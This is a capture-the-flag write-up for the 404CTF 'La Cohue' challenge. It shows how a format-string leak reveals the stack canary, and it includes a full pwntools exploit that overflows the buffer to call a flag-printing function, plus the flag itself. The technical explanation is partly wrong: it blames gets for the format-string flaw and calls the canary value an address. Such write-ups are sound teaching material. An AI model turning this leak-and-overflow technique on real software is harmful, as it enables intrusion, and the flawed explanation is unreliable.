La Cohue
In this challenge, we are given an ELF
executable available here. If we look at the code in Ghidra, we can see a canary
function that prints the flag. The executable allows us to discuss with Francis
that lost his canary
. With all of this canaries
, we can guess that this challenge want us to do a buffer overflow and bypass the canary.
Format string
As we can see in the code, there is the gets
function that will print our input. gets
function in C is vulnerable to format string attacks. The gets
function is used to read a line of input from the standard input and store it into a buffer. However, it does not perform any bounds checking on the input, making it susceptible to buffer overflows and format string vulnerabilities.
We can try using a basic payload like %p
to see if anything happens:
Get the canary address
As we can see, we have an address displayed. We can continue to do so until we find the address of the canary
. The address of the canary is easy to find, it is the only one that finish with some zeros at the end. We can use %i$p
where i
is an integer. This is used to read the value from a specific position on the stack. Here’s a breakdown of the notation:
1
2
%i: It specifies the position of the address we will display
$p: It indicates that the value to be printed is fetched from the stack at a specific position indicated by the integer value i.
So we can do for example %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p
:
We don’t see anything interesting here. The strings at the end that look like 0x2432252070243125
are just our input. If we decode 0x2432252070243125
to ASCII characters, we get $2% p$1%
. We can continue with the values from 11
to 20
and we have:
We can see that the address at position %17
is 0xea9dd891cb4be500
wich ends with 00
. This may be our address. We can run it a second time to confirm that it is the good one:
As we can see, the address changed but still ends with two zeros. This should be the address of our canary
. Because there is no ASLR on this program, we can get the address of the canary
function using Ghidra or Gdb:
Craft our payload
Now, for our payload to work correctely, we need to find the offset value, that can be found in the choice
function:
Now we have everything we need. We can use the following code to get the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
#io = process("la_cohue")
io = remote("challenges.404ctf.fr", 30223)
io.sendline("2")
# try with %10$ ... %20$p => find an address like 0x...00 => this address is the canary address
io.sendline("%17$p ")
io.recvuntil("[Vous] : ")
addr_canary = io.recvline()[:-1].decode()
print("@ canary:", addr_canary)
#String to hex
addr_canary = int(addr_canary, 16)
#convert to address format
addr_canary = p64(addr_canary)
aff = io.recvuntil(">>> ")
#address of the function named Canary (found in Ghidra or objdump -d | grep canary)
addr_fct_canary = p64(0x00400877)
offset = 72
payload = b"A" * offset + addr_canary + 8* b"A" + addr_fct_canary
io.sendline("1")
io.recvuntil("[Vous] : ")
io.sendline(payload)
print(io.recvline().decode())
io.recvuntil(">>> ").decode()
io.sendline("3")
print(io.recvline().decode())
print("Flag : "+io.recvline().decode())
We get the flag 404CTF{135_C4N4r15_41M3N7_14_C0MP46N13_N3_135_141553Z_P45_53U15}